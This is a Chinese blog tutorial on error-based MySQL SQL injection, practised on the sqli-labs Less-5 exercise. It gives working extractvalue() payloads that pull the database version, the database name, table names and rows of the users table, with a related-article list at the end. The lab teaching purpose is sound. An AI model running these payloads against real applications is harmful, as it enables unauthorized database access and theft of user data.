MySQL注入之报错注入
2021/4/11 19:28:52
本文主要是介绍MySQL注入之报错注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
(本篇文章以sql-labs靶场的less-5为实验环境)
一、什么是报错注入?以及什么情况下使用?
报错注入也可以说 是一种盲注------构造 payload 让信息通过错误提示回显出。在使用联合查询无法爆出显位时可考虑使用报错注入。
二、报错注入常用的函数
在这里我使用的是extractvalue()函数,其作用是从⽬标XML中返回包含所查询值的字符串
EXTRACTVALUE (XML_document, XPath_string):第⼀个参数:XML_document是String格式,为XML⽂档对象的名称; 第⼆个参数:XPath_string (Xpath格式的字符串)
三、基本流程
1.获取版本信息
使用语句 1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ 。 其中concat是拼接()内的参数,0x7e解码之后为~符号。--+为注释符,将源代码中之后的语句全部注释掉以免 发生错误。测试之后结果如下:
2.获取数据库名称
使用语句 1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,其中核心是database()函数,测试结果如下:
3.获取表名
1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示
4.获取数据
1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容
这篇关于MySQL注入之报错注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-20部署MySQL集群入门:新手必读指南
- 2024-11-20部署MySQL集群教程:初学者指南
- 2024-11-20部署MySQL集群项目实战:新手教程
- 2024-11-20部署MySQL集群资料:新手入门教程
- 2024-11-20MySQL集群部署教程:入门级详解
- 2024-11-20MySQL集群教程:入门与实践指南
- 2024-11-20部署MySQL集群教程:新手入门指南
- 2024-11-20MySQL读写分离教程:轻松入门
- 2024-11-20部署MySQL集群入门:一步一步搭建你的数据库集群
- 2024-11-19部署MySQL集群学习:入门教程